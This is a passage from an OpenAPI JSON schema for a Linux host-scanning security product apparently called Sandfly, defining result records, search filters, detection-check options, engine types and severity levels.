backs, e.g. data.results.process.hash.md5.","type":"string"},"index":{"description":"Database index name.","type":"string"},"type":{"description":"Value type of the field.","type":"string","enum":["string","int"]},"status":{"description":"Build state: ready (built and queryable), building (currently being built), or pending (not built yet).","type":"string","enum":["ready","building","pending"]}},"required":["field","index","type","status"]},"ResultIndexStatusSummary":{"title":"ResultIndexStatusSummary","description":"Per-field build state of the result-JSON search indexes plus roll-up counts.","type":"object","properties":{"indexes":{"description":"Build state of each indexed field.","type":"array","items":{"$ref":"#/components/schemas/ResultIndexStatus"}},"total":{"description":"Total number of indexed fields.","type":"integer"},"ready":{"description":"Number of indexes that are built and queryable.","type":"integer"},"building":{"description":"Number of indexes currently being built.","type":"integer"},"pending":{"description":"Number of indexes not built yet.","type":"integer"}},"required":["indexes","total","ready","building","pending"]},"ResultSummary":{"title":"ResultSummary","description":"Summary of data returned from a sandfly.","type":"object","required":["id","sequence_id","external_id","artifact_id","data.status","whitelisted","containerized","count","first_seen","last_seen","superseded","header.host_id","header.hostname","header.node_name","header.host_sequence_id","data.tags","data.name","data.engine","header.ip_addr","header.queue_name","header.run_id","data.severity","data.end_time","header.tags","data.exec_seconds","data.type","data.key_data"],"properties":{"id":{"description":"Unique identifier.","type":"string"},"sequence_id":{"description":"Unique sequence identifier.","format":"int64","type":"integer"},"artifact_id":{"description":"ID of the artifact (process, file, user, ...) this result belongs to. Results from different sandflies that matched the same artifact share an artifact_id.","type":"integer","format":"int64"},"external_id":{"description":"External ID.","type":"string"},"data.status":{"$ref":"#/components/schemas/ResultStatus"},"whitelisted":{"description":"Is this result whitelisted?","type":"boolean"},"containerized":{"description":"Is this result within a container?","type":"boolean"},"count":{"description":"Number of times this result has been seen.","format":"int64","type":"integer"},"first_seen":{"description":"First time this result was seen.","type":"string","format":"date-time"},"last_seen":{"description":"Last time this result was seen.","type":"string","format":"date-time"},"superseded":{"description":"Is this result superseded?","type":"boolean"},"header.host_id":{"description":"Host ID.","type":"string"},"header.hostname":{"description":"Host name.","type":"string"},"header.node_name":{"description":"Node name.","type":"string"},"header.host_sequence_id":{"description":"Host Sequence ID.","type":"integer"},"data.tags":{"$ref":"#/components/schemas/SandflyTags"},"data.name":{"description":"Name of the sandfly.","type":"string"},"data.engine":{"description":"Name of the sandfly engine.","type":"string"},"header.ip_addr":{"description":"IP address of the host.","type":"string"},"header.queue_name":{"description":"Queue name.","type":"string"},"header.run_id":{"description":"Run ID.","type":"string"},"data.severity":{"$ref":"#/components/schemas/SandflySeverity"},"data.end_time":{"description":"Time at which this result was returned from the host.","type":"string","format":"date-time"},"header.tags":{"$ref":"#/components/schemas/HostTags"},"data.exec_seconds":{"description":"Number of seconds the sandfly took to execute.","format":"int64","type":"integer"},"data.type":{"description":"Type of the sandfly.","$ref":"#/components/schemas/SandflyType"},"data.key_data":{"description":"Key data for the sandfly. This will depend on the type of sandfly.","type":"string"},"data.masked":{"description":"Should the result be masked due to license restrictions?","type":"boolean"}}},"ResultsSummaryHost":{"type":"object","properties":{"host":{"$ref":"#/components/schemas/HostSummary"},"sandflies":{"type":"array","items":{"$ref":"#/components/schemas/ResultsSummaryHostSandfly"}}},"required":["host","sandflies"]},"ResultsSummaryHostSandfly":{"type":"object","properties":{"name":{"type":"string"},"description":{"type":"string"},"tags":{"$ref":"#/components/schemas/SandflyTags"},"custom":{"type":"boolean"},"cloned_from":{"type":"string"},"partner":{"type":"boolean"},"type":{"$ref":"#/components/schemas/SandflyType"},"active":{"type":"boolean"},"severity":{"$ref":"#/components/schemas/SandflySeverity"},"alerts":{"type":"integer","description":"Number of current (not superseded) alert results from this sandfly on the host."},"alerts_seen":{"type":"integer","description":"Number of times the current (not superseded) alert results from this sandfly on the host have been seen."},"alert_last_seen":{"type":"string","format":"date-time","nullable":true},"errors":{"type":"integer","description":"Number of current (not superseded) error results from this sandfly on the host."},"errors_seen":{"type":"integer","description":"Number of times the current (not superseded) error results from this sandfly on the host have been seen."},"error_last_seen":{"type":"string","format":"date-time","nullable":true},"passes":{"type":"integer","description":"Number of current (not superseded) pass results from this sandfly on the host."},"passes_seen":{"type":"integer","description":"Number of times the current (not superseded) pass results from this sandfly on the host have been seen."},"pass_last_seen":{"type":"string","format":"date-time","nullable":true}},"required":["name","description","tags","custom","type","active","severity","alerts","alerts_seen","alert_last_seen","errors","errors_seen","error_last_seen","passes","passes_seen","pass_last_seen"]},"ResultsSummarySandfly":{"type":"object","properties":{"sandfly":{"$ref":"#/components/schemas/SandflySummary"},"hosts":{"type":"array","items":{"$ref":"#/components/schemas/ResultsSummarySandflyHost"}}},"required":["hosts","sandfly"]},"ResultsSummarySandflyHost":{"title":"HostInfo","type":"object","properties":{"host_id":{"type":"string"},"host_sequence_id":{"type":"integer"},"hostname":{"type":"string"},"active":{"type":"boolean"},"credentials_id":{"type":"string"},"authentication_status":{"type":"string"},"date_first_seen":{"type":"string","format":"date-time"},"date_last_seen":{"type":"string","format":"date-time"},"first_seen_ip_addr":{"type":"string"},"last_seen_ip_addr":{"type":"string"},"os_info_arch":{"type":"string"},"os_info_machine":{"type":"string"},"os_info_node":{"type":"string"},"os_info_os_release_name":{"type":"string"},"os_info_os_release_pretty_name":{"type":"string"},"os_info_os_release_version":{"type":"string"},"os_info_os_release_version_codename":{"type":"string"},"os_info_release":{"type":"string"},"os_info_uptime_date":{"type":"string","format":"date-time"},"os_info_uptime_days":{"type":"integer"},"os_performance_cpu_fifteen_min":{"type":"integer"},"os_performance_cpu_fifteen_min_core_adjusted":{"type":"integer"},"tags":{"$ref":"#/components/schemas/HostTags"},"total_alerts":{"type":"integer","description":"Number of current (not superseded) alert results on this host from all sandflies."},"total_errors":{"type":"integer","description":"Number of current (not superseded) error results on this host from all sandflies."},"total_passes":{"type":"integer","description":"Number of current (not superseded) pass results on this host from all sandflies."},"alerts":{"type":"integer","description":"Number of current (not superseded) alert results from this sandfly on this host."},"alerts_seen":{"type":"integer","description":"Number of times the current (not superseded) alert results from this sandfly on this host have been seen."},"alert_last_seen":{"type":"string","format":"date-time","nullable":false},"errors":{"type":"integer","description":"Number of current (not superseded) error results from this sandfly on this host."},"errors_seen":{"type":"integer","description":"Number of times the current (not superseded) error results from this sandfly on this host have been seen."},"error_last_seen":{"type":"string","format":"date-time","nullable":false},"passes":{"type":"integer","description":"Number of current (not superseded) pass results from this sandfly on this host."},"passes_seen":{"type":"integer","description":"Number of times the current (not superseded) pass results from this sandfly on this host have been seen."},"pass_last_seen":{"type":"string","format":"date-time","nullable":false}},"required":["host_id","host_sequence_id","hostname","active","credentials_id","authentication_status","date_first_seen","date_last_seen","first_seen_ip_addr","last_seen_ip_addr","os_info_arch","os_info_machine","os_info_node","os_info_os_release_name","os_info_os_release_pretty_name","os_info_os_release_version","os_info_os_release_version_codename","os_info_release","os_info_uptime_date","os_info_uptime_days","os_performance_cpu_fifteen_min","os_performance_cpu_fifteen_min_core_adjusted","tags","total_alerts","total_errors","total_passes","alerts","alerts_seen","alert_last_seen","errors","errors_seen","error_last_seen","passes","passes_seen","pass_last_seen"]},"ResultVariants":{"anyOf":[{"$ref":"#/components/schemas/ResultEngineAtJob"},{"$ref":"#/components/schemas/ResultEngineBtmp"},{"$ref":"#/components/schemas/ResultEngineCloakedDirentry"},{"$ref":"#/components/schemas/ResultEngineCron"},{"$ref":"#/components/schemas/ResultEngineDir"},{"$ref":"#/components/schemas/ResultEngineError"},{"$ref":"#/components/schemas/ResultEngineFile"},{"$ref":"#/components/schemas/ResultEngineKModule"},{"$ref":"#/components/schemas/ResultEngineLastLog"},{"$ref":"#/components/schemas/ResultEngineLastLog"},{"$ref":"#/components/schemas/ResultEngineLastLog"},{"$ref":"#/components/schemas/ResultEngineOsIdentify"},{"$ref":"#/components/schemas/ResultEngineProcess"},{"$ref":"#/components/schemas/ResultEngineProcess"},{"$ref":"#/components/schemas/ResultEngineProcess"},{"$ref":"#/components/schemas/ResultEngineProcess"},{"$ref":"#/components/schemas/ResultEngineSystemdSession"},{"$ref":"#/components/schemas/ResultEngineSystemd"},{"$ref":"#/components/schemas/ResultEngineUser"},{"$ref":"#/components/schemas/ResultEngineUser"},{"$ref":"#/components/schemas/ResultEngineUser"},{"$ref":"#/components/schemas/ResultEngineUtmp"},{"$ref":"#/components/schemas/ResultEngineWtmp"}]},"ResultEngineAtJob":{"title":"ResultAtJob","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/AtJobEngineResponse"}}}}},"ResultEngineBtmp":{"title":"ResultBtmp","required":["data"],"type":"object","properties":{"data":{"type":"object","required":["results"],"properties":{"results":{"type":"object","required":["log"],"properties":{"log":{"type":"object","required":["btmp"],"properties":{"btmp":{"$ref":"#/components/schemas/UtmpEngineResponse"}}}}}}}}},"ResultEngineCloakedDirentry":{"title":"ResultCloakedDirentry","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/CloakedDirentryEngineResponse"}}}}},"ResultEngineCron":{"title":"ResultCron","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/CronEngineResponse"}}}}},"ResultEngineDir":{"title":"ResultDir","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/DirEngineResponse"}}}}},"ResultEngineError":{"title":"ResultError","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/ErrorEngineResponse"}}}}},"ResultEngineFile":{"title":"ResultFile","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/FileEngineResponse"}}}}},"ResultEngineKModule":{"title":"ResultKmodule","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/KmodulesEngineResponse"}}}}},"ResultEngineLastLog":{"title":"ResultLastLog","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/LastlogEngineResponse"}}}}},"ResultEngineLogTamperingLastLogHistoryMissingRecord":{"$ref":"#/components/schemas/ResultEngineLastLog"},"ResultEngineLogTamperingLastLogWtmpMissingRecord":{"$ref":"#/components/schemas/ResultEngineLastLog"},"ResultEngineOsIdentify":{"title":"ResultOsIdentify","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/Os"}}}}},"ResultEngineProcess":{"title":"ResultProcess","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/ProcessEngineResponse"}}}}},"ResultEngineProcessMasqueradeBinaryMismatched":{"$ref":"#/components/schemas/ResultEngineProcess"},"ResultEngineProcessMasqueradeBinaryRenamed":{"$ref":"#/components/schemas/ResultEngineProcess"},"ResultEngineProcessMasqueradeMixedCase":{"$ref":"#/components/schemas/ResultEngineProcess"},"ResultEngineSystemdSession":{"title":"ResultSystemdSession","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/SystemdSessionEngineResponse"}}}}},"ResultEngineSystemd":{"title":"ResultSystemd","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/SystemdEngineResponse"}}}}},"ResultEngineUserPasswordAuditor":{"$ref":"#/components/schemas/ResultEngineUser"},"ResultEngineUserPasswordHashDuplicates":{"$ref":"#/components/schemas/ResultEngineUser"},"ResultEngineUser":{"title":"ResultUser","required":["data"],"type":"object","properties":{"data":{"required":["results"],"type":"object","properties":{"results":{"$ref":"#/components/schemas/UserEngineEngineResponse"}}}}},"ResultEngineUtmp":{"title":"ResultUtmp","required":["data"],"type":"object","properties":{"data":{"type":"object","required":["results"],"properties":{"results":{"type":"object","required":["log"],"properties":{"log":{"type":"object","required":["utmp"],"properties":{"utmp":{"$ref":"#/components/schemas/UtmpEngineResponse"}}}}}}}}},"ResultEngineWtmp":{"title":"ResultWtmp","required":["data"],"type":"object","properties":{"data":{"type":"object","required":["results"],"properties":{"results":{"type":"object","required":["log"],"properties":{"log":{"type":"object","required":["wtmp"],"properties":{"wtmp":{"$ref":"#/components/schemas/UtmpEngineResponse"}}}}}}}}},"ResultEngineResponseUtmp":{"$ref":"#/components/schemas/UtmpEngineResponse"},"ResultCommon":{"title":"ResultCommon","type":"object","properties":{"id":{"type":"string"},"sequence_id":{"type":"integer"},"artifact_id":{"type":"integer","format":"int64","description":"ID of the artifact (process, file, user, ...) this result belongs to. Results from different sandflies that matched the same artifact share an artifact_id."},"revision":{"type":"integer","description":"Monotonically increasing change marker. A result's revision advances whenever the result materially changes (new detection, supersede flip, updated artifact data)."},"external_id":{"type":"string"},"count":{"type":"integer"},"first_seen":{"type":"string","format":"date-time"},"last_seen":{"type":"string","format":"date-time"},"superseded":{"type":"boolean"},"whitelisted":{"type":"boolean"},"drift_result":{"type":"boolean"},"containerized":{"type":"boolean"},"header":{"type":"object","properties":{"start_time":{"type":"string","format":"date-time"},"hostname":{"type":"string"},"ssh_port":{"type":"integer"},"queue_name":{"type":"string"},"ip_addr":{"type":"string"},"host_id":{"type":"string"},"host_sequence_id":{"type":"integer"},"end_time":{"type":"string","format":"date-time"},"credentials_id":{"type":"string"},"jump_hosts":{"$ref":"#/components/schemas/LinkedJumpHosts"},"run_id":{"type":"string"},"manual_scan":{"type":"boolean"},"ad_hoc":{"type":"boolean"},"simulated":{"type":"boolean","description":"True for results produced by a simulated scan. Only present when true."},"override_directory":{"type":"string","description":"Remote directory the agent was uploaded to when the default was overridden. Empty when the default was used."},"verify_host_key":{"type":"boolean","description":"Whether the host's SSH key was required to match the stored key for this scan."},"host_id_version":{"type":"integer","description":"Version of the host ID scheme used to identify the host."},"ssh":{"type":"object","description":"SSH connection details observed for the scan.","properties":{"banner":{"type":"string"},"port":{"type":"integer"},"negotiated_key_type":{"type":"string"},"keys":{"type":"object","nullable":true,"description":"The host's SSH public keys, keyed by key type.","additionalProperties":{"type":"object","properties":{"type":{"type":"string"},"public_key":{"type":"string"},"bits":{"type":"integer"},"fingerprint":{"type":"string"}}}}}},"tags":{"$ref":"#/components/schemas/HostTags"},"node_name":{"type":"string"}},"required":["start_time","hostname","ssh_port","queue_name","ip_addr","host_id","host_sequence_id","end_time","credentials_id","jump_hosts","run_id","manual_scan","tags","node_name"]},"data":{"type":"object","properties":{"results":{"type":"object","properties":{"explanation":{"type":"string"},"containerized":{"type":"boolean","description":"True when the scanned artifact resides inside a container."},"response":{"type":"object","description":"Response actions taken against the detected artifact. Only present when a response was attempted.","properties":{"process":{"type":"object","description":"Response taken against a detected process.","required":["killed","suspended","error"],"properties":{"killed":{"type":"boolean","description":"Whether the PID was killed."},"suspended":{"type":"boolean","description":"Whether the PID was suspended."},"error":{"type":"boolean","description":"True if an error happened during the response."}}}}},"match_hashes":{"type":"object","properties":{"version":{"type":"integer"},"strict":{"type":"string"},"moderate":{"type":"string"},"permissive":{"type":"string"}}}},"required":["explanation","containerized","match_hashes"]},"exec_seconds":{"type":"integer"},"start_time":{"type":"string","format":"date-time"},"end_time":{"type":"string","format":"date-time"},"name":{"type":"string"},"status":{"$ref":"#/components/schemas/ResultStatus"},"status_msg":{"type":"string"},"severity":{"$ref":"#/components/schemas/SandflySeverity"},"tags":{"type":"array","items":{"type":"string"}},"type":{"$ref":"#/components/schemas/SandflyType"},"engine":{"$ref":"#/components/schemas/SandflyEngineType"},"key_data":{"type":"string"},"masked":{"type":"boolean"}},"required":["results","exec_seconds","start_time","end_time","name","status","status_msg","severity","tags","type","engine","key_data"]}},"required":["id","sequence_id","external_id","count","first_seen","last_seen","superseded","whitelisted","header","data"]},"ResultStatus":{"type":"string","enum":["alert","pass","error"]},"Results":{"description":"List of results.","uniqueItems":true,"items":{"$ref":"#/components/schemas/Result"},"type":"array"},"ResultSummaries":{"description":"List of result summaries.","uniqueItems":true,"items":{"$ref":"#/components/schemas/ResultSummary"},"type":"array"},"ResultsDelete":{"properties":{"filter":{"description":"Filter value from UI to pass into search.","type":"object"},"result_ids":{"description":"List of result IDs to delete.","items":{"type":"string"},"type":"array"},"sort":{"description":"Sort parameters.","items":{"type":"object"},"type":"array"},"time_since":{"description":"A correctly formatted time entry for searching time since this date.","format":"date-time","type":"string"}},"type":"object"},"ResultsSearch":{"description":"Search criteria for retrieving results. The `result_ids`, `filter`, and `time_since` properties are mutually exclusive; provide only one of them per request.","properties":{"result_ids":{"description":"A list of result IDs. Mutually exclusive with `filter` and `time_since`.","items":{"type":"string"},"type":"array"},"filter":{"description":"Filter value from UI to pass into search. Mutually exclusive with `result_ids` and `time_since`.","type":"object","required":["items","logicOperator"],"properties":{"items":{"$ref":"#/components/schemas/ResultSearchFilterItem"},"logicOperator":{"$ref":"#/components/schemas/ResultSearchFilterOperator"},"quickFilterValues":{"type":"array","items":{"type":"string"}}}},"flatten":{"description":"Optional request to flatten returned data structure.","type":"boolean"},"size":{"description":"Optional number of results to return on this call and subsequent scroll requests.","format":"int32","type":"integer"},"page":{"description":"Optional number of the page to return based on the size.","format":"int32","type":"integer","default":1},"sort":{"description":"List of sort criteria applied to the results. Each entry specifies a field and a direction. If omitted, results are ordered by \"id\" descending (most recently results first).","type":"array","items":{"type":"object","required":["field","sort"],"properties":{"field":{"description":"The result field to sort by (for example, \"data.end_time\" or \"host_id\"). Must be a known, sortable result field; unknown fields are rejected with an error.","type":"string"},"sort":{"description":"Sort direction for the field: \"asc\" for ascending or \"desc\" for descending. Any other value is rejected with an error.","type":"string","enum":["asc","desc"]}}}},"summary":{"description":"Optional request to return summary result data and not full dataset.","type":"boolean"},"time_since":{"description":"A correctly formatted time entry for searching time since this date. Mutually exclusive with `result_ids` and `filter`. Deprecated. Do not use result timestamp for incremental synchronization; older results may commit to the database out-of-order with newer commits. Instead, synchronize using the result sequence ID, which is guaranteed to never have new, lower values than the current value returned by the getMaxID operation.","deprecated":true,"format":"date-time","type":"string"}},"type":"object"},"ResultSearchFilterOperator":{"type":"string"},"ResultSearchFilterScalarValue":{"description":"One value a result or artifact search filter item compares against: a string or an integer.","oneOf":[{"type":"string"},{"type":"integer"}]},"ResultSearchFilterItemField":{"description":"The result field to filter on. This is a fixed set (see `enum`); filtering on any other field is rejected.\n- **Result JSON date fields** (`data.results.file.date.modified`, `data.results.file.date.created`) are stored as RFC3339 UTC strings and support range/date operators (see `operator`).","type":"string","enum":["id","sequence_id","artifact_id","revision","resolved_revision","external_id","data.status","whitelisted","drift_result","containerized","data.results.containerized","header.host_id","header.host_sequence_id","header.hostname","header.node_name","data.tags","data.name","header.ip_addr","header.queue_name","header.run_id","header.manual_scan","data.severity","data.end_time","header.tags","data.exec_seconds","data.type","data.key_data","threat_score","first_seen","last_seen","count","superseded","match_hashes.permissive","match_hashes.moderate","match_hashes.strict","created_at","data.results.process.hash.md5","data.results.process.hash.sha1","data.results.process.hash.sha256","data.results.process.hash.sha512","data.results.process.name","data.results.process.path","data.results.process.true_path","data.results.process.cwd","data.results.process.username","data.results.process.uid","data.results.process.gid","data.results.process.pid","data.results.process.ppid","data.results.process.parent_process.name","data.results.process.parent_process.path","data.results.process.container.id","data.results.file.hash.md5","data.results.file.hash.sha1","data.results.file.hash.sha256","data.results.file.hash.sha512","data.results.file.name","data.results.file.path","data.results.file.true_path","data.results.file.extension","data.results.file.username","data.results.file.uid","data.results.file.gid","data.results.file.container.id","data.results.file.date.modified","data.results.file.date.created","data.results.directory.name","data.results.directory.path","data.results.directory.username","data.results.directory.uid","data.results.directory.gid","data.results.user.username","data.results.user.groupname","data.results.user.shell","data.results.user.home_dir","data.results.user.uid","data.results.user.gid","data.results.user.password.type","data.results.cron.username","data.results.cron.path","data.results.atjob.name","data.results.atjob.path","data.results.atjob.username","data.results.systemd.name","data.results.systemd.type","data.results.systemd.service_info.exec_start.binary_path","data.results.systemd_user.username","data.results.systemd_user.uid","data.results.kernel_module.name","data.results.kernel_module.module_file_path","data.results.kernel_module.file.hash.md5","data.results.kernel_module.file.hash.sha1","data.results.kernel_module.file.hash.sha256","data.results.kernel_module.file.hash.sha512","data.results.log.utmp.username","data.results.log.utmp.hostname","data.results.log.utmp.ip_address","data.results.log.wtmp.username","data.results.log.wtmp.hostname","data.results.log.wtmp.ip_address","data.results.log.btmp.username","data.results.log.btmp.hostname","data.results.log.btmp.ip_address","data.results.log.lastlog.username","data.results.log.lastlog.hostname"]},"ResultSearchFilterItem":{"type":"array","items":{"type":"object","required":["field","operator"],"properties":{"field":{"$ref":"#/components/schemas/ResultSearchFilterItemField"},"operator":{"description":"The comparison operator to apply. The set of valid operators depends on the data type of the chosen field:\n\n- **String** fields and **tag** fields: `contains`, `equals`, `startsWith`, `endsWith`, `notContains`, `notEquals`, `notStartsWith`, `notEndsWith`, `is`, `not`, `isEmpty`, `isNotEmpty`, `isAnyOf`\n- **Integer** fields: `equals`, `=`, `!=`, `<`, `<=`, `>`, `>=`, `isEmpty`, `isNotEmpty`, `isAnyOf`\n- **Date** fields: `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, `isEmpty`, `isNotEmpty`\n- **Boolean** fields: `is`\n- **Result JSON string** fields (the `data.results...` fields): `equals`, `=`, `is`, `isAnyOf`\n- **Result JSON integer** fields: `equals`, `=`, `is`, `!=`, `<`, `<=`, `>`, `>=`, `isAnyOf`\n- **Result JSON date** fields: `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, and the raw `=`, `!=`, `<`, `<=`, `>`, `>=`\n\n`isAnyOf` matches when the field equals any member of `value`, which must be a non-empty array: of non-empty strings for a string or tag field (including `data.status` and `data.type`), of integers (or numeric strings) for an integer field. Each member matches as `equals` does for that field, so a tag field matches when any one tag equals any member, case-insensitively. On a result JSON string field each member may be at most 500 characters. An empty array, a non-array value, or a bad member is rejected with a 400; an `isAnyOf` item is never dropped as a no-op. Use one `isAnyOf` item per field and combine items with `logicOperator` as usual.","type":"string"},"value":{"description":"The value to compare against: a string or an integer, or for `isAnyOf` a non-empty array of them.","oneOf":[{"type":"string"},{"type":"integer"},{"type":"array","minItems":1,"items":{"$ref":"#/components/schemas/ResultSearchFilterScalarValue"}}]},"id":{"oneOf":[{"type":"string"},{"type":"integer"}]}}}},"Sandfly":{"oneOf":[{"$ref":"#/components/schemas/SandflyCustom"},{"$ref":"#/components/schemas/SandflyFactory"}]},"SandflyBackup":{"type":"object","description":"Raw JSON export of custom sandflies."},"SandflyCommon":{"properties":{"custom":{"type":"boolean"},"cloned_from":{"description":"The sandfly from which this custom sandfly was cloned.","type":"string"},"partner":{"type":"boolean"},"author":{"type":"string"},"date_added":{"type":"string"},"modified_at":{"description":"The last time this sandfly was written in the database. Read-only: it is always reported from the database and any value supplied when saving a custom sandfly is ignored.","format":"date-time","type":"string"},"description":{"description":"Sandfly description.","type":"string"},"comment":{"type":"string"},"active":{"type":"boolean"},"format":{"$ref":"#/components/schemas/SandflyFormat"},"max_cpu_load":{"description":"The amount of relative CPU intensity this sandfly needs (1 - low, 3 - high)","format":"int32","type":"integer","minimum":1,"maximum":3},"max_disk_load":{"description":"The amount of relative disk intensity this sandfly needs (1 - low, 3 - high)","format":"int32","type":"integer","minimum":1,"maximum":3},"max_timeout":{"description":"What is the longest we should wait for this sandfly to return data in seconds?","format":"int32","type":"integer","minimum":1,"maximum":3600},"name":{"description":"Sandfly name.","type":"string","not":{"enum":["backup","reload_all","response"]}},"old_name":{"description":"Write-only rename request: the name of an existing sandfly this one replaces. When a sandfly with this name exists (and may be modified by this call), it is renamed, so results, whitelist rules, schedule membership, and drift profile coverage carry over; when no sandfly has this name, the property is ignored and the sandfly is saved as usual. Renaming onto a name that is already in use is refused with a 409 and saves nothing. It is never stored on the saved sandfly.","type":"string","writeOnly":true},"options":{"required":["rules","engines","explanation"],"type":"object","properties":{"rules":{"description":"The sandfly's expr rules. Together with its OS exclusion rules, match hash extras and the expressions substituted into its explanation, they may be at most 1048576 bytes (1 MiB) long, and none may use the repeat builtin.","type":"array","items":{"type":"string"}},"engines":{"description":"Sandfly engine used to obtain results. Currently only supports a single sandfly.","type":"array","maxLength":1,"minLength":1,"items":{"$ref":"#/components/schemas/SandflyEngineType"}},"rule_op":{"$ref":"#/components/schemas/SandflyRuleOperator"},"always_pass":{"type":"boolean","default":false},"exclude_containers":{"description":"Restrict this sandfly to the base host. The engines that can look inside containers (file, directory, cron, at jobs, and process) will not search container filesystems or evaluate containerized processes for this sandfly, and any result describing something inside a container is not reported.","type":"boolean","default":false},"explanation":{"type":"string"},"os_exclude":{"type":"object","description":"expr rules that may use the os.* data to exclude this sandfly due to OS/distro incompatability. If the rule set evaluates to true, this sandfly will not run on the target host.","properties":{"rule_op":{"$ref":"#/components/schemas/SandflyRuleOperator"},"rules":{"type":"array","items":{"type":"string"}}}},"response":{"type":"object","properties":{"process":{"type":"object","properties":{"kill":{"type":"boolean","description":"Whether to kill the process or not."},"suspend":{"type":"boolean","description":"Whether to suspend the process or not."}}}}},"match_hash_extras":{"type":"object","description":"Extra options to include in match hash values for results from this sandfly.","properties":{"values":{"description":"List of expr expressions that produce strings which will be appended, in the order of this array, to the selected match hash types.","type":"array","items":{"type":"string","description":"An expr expression that returns a string. This value will be appended to the hash input for the selected match hash types."}},"apply_permissive":{"type":"boolean","description":"Apply this value to the permissive match hash."},"apply_moderate":{"type":"boolean","description":"Apply this value to the moderate match hash."},"apply_strict":{"type":"boolean","description":"Apply this value to the strict (deduplication) match hash."}}},"additionalProperties":{"type":"object"}}},"severity":{"$ref":"#/components/schemas/SandflySeverity"},"tags":{"description":"Tags for this sandfly.","items":{"oneOf":[{"$ref":"#/components/schemas/SandflyTypeGeneral"},{"type":"string"}]},"type":"array"},"version":{"description":"Version of this Sandfly.","type":"string"}},"required":["name","author","description","version","format","tags","custom","type","active","severity","max_cpu_load","max_disk_load","max_timeout","date_added","options"],"type":"object"},"SandflyCustom":{"readOnly":true,"type":"object","allOf":[{"$ref":"#/components/schemas/SandflyCommon"}],"required":["type","custom"],"properties":{"custom":{"description":"Is sandfly custom? Always true for a custom sandfly.","type":"boolean","enum":[true]},"type":{"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?","oneOf":[{"$ref":"#/components/schemas/SandflyTypeGeneral"}]}}},"SandflyFactory":{"readOnly":true,"type":"object","allOf":[{"$ref":"#/components/schemas/SandflyCommon"}],"required":["type","custom"],"properties":{"custom":{"description":"Is sandfly custom? Always false for a factory sandfly. Partner sandflies are also non-custom so that they behave like factory sandflies.","type":"boolean","enum":[false]},"type":{"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?","oneOf":[{"$ref":"#/components/schemas/SandflyTypeGeneral"},{"$ref":"#/components/schemas/SandflyTypeSpecial"}]}}},"SandflyFormat":{"description":"Sandfly format.","type":"string","enum":["4.0"]},"SandflyRuleOperator":{"type":"string","enum":["and","or"]},"SandflyEngineType":{"type":"string","enum":["sandfly_engine_cloaked_direntry","sandfly_engine_dir","sandfly_engine_file","sandfly_engine_process","sandfly_engine_user","sandfly_engine_utmp","sandfly_engine_wtmp","sandfly_engine_btmp","sandfly_engine_lastlog","sandfly_engine_cron","sandfly_engine_at_jobs","sandfly_engine_log_tampering_lastlog_wtmp_missing_record","sandfly_engine_log_tampering_lastlog_history_missing_record","sandfly_engine_os_identify","sandfly_engine_process_masquerade_binary_renamed","sandfly_engine_process_masquerade_binary_mismatched","sandfly_engine_process_masquerade_mixed_case","sandfly_engine_user_password_hash_duplicates","sandfly_engine_user_password_auditor","sandfly_engine_error","sandfly_engine_systemd","sandfly_engine_systemd_session","sandfly_engine_kmodules"]},"SandflyList":{"properties":{"sandfly_ids":{"description":"List of sandflies (a sandfly ID is its name).","items":{"type":"string"},"type":"array"}},"type":"object"},"SandflyOptionsResponseProcess":{"description":"Sandfly process.","properties":{"kill":{"default":false,"description":"Sandfly kill.","type":"boolean"},"suspend":{"default":false,"description":"Sandfly suspend.","type":"boolean"}},"type":"object"},"SandflyResponse":{"type":"object"},"SandflySeverity":{"description":"Severity of Sandfly (0 - informational to 5 - high)","format":"int32","type":"integer","minimum":0,"maximum":5,"enum":[0,1,2,3,4,5]},"SandflySummary":{"properties":{"active":{"default":true,"description":"Is sandfly active? Inactive sandflies will be skipped in any scan.","type":"boolean"},"custom":{"description":"Is sandfly custom?","type":"boolean"},"cloned_from":{"description":"The sandfly this custom sandfly was cloned from.","type":"string"},"partner":{"description":"Is this a partner sandfly?","type":"boolean"},"date_added":{"description":"Sandfly date added.","format":"date-time","type":"string"},"modified_at":{"description":"The last time this sandfly was modified in the database.","format":"date-time","type":"string"},"description":{"description":"A short description of what the sandfly does.","type":"string"},"format":{"description":"Sandfly format.","type":"string"},"max_cpu_load":{"description":"Sandfly max CPU load.","maximum":1,"minimum":0,"type":"integer"},"max_disk_load":{"description":"Sandfly max disk load.","type":"integer"},"max_timeout":{"description":"Sandfly max timeout in seconds. Max is 1800","maximum":1800,"minimum":0,"type":"integer"},"name":{"description":"Unique sandfly name. Used as ID. Lower case and underscores (_) only in the values.","type":"string"},"options":{"description":"Sandfly options.","required":["response"],"properties":{"response":{"description":"Sandfly response.","type":"object","properties":{"process":{"$ref":"#/components/schemas/SandflyOptionsResponseProcess"}}}},"type":"object"},"os_compat":{"description":"Sandfly OS compatibility.","properties":{"linux":{"description":"Sandfly Linux compatibility.","items":{"type":"object"},"type":"array"}},"type":"object"},"results_alert":{"description":"Number of current (not superseded) alert results from this sandfly.","minimum":0,"type":"integer"},"results_error":{"description":"Number of current (not superseded) error results from this sandfly.","minimum":0,"type":"integer"},"results_passes":{"description":"Number of current (not superseded) pass results from this 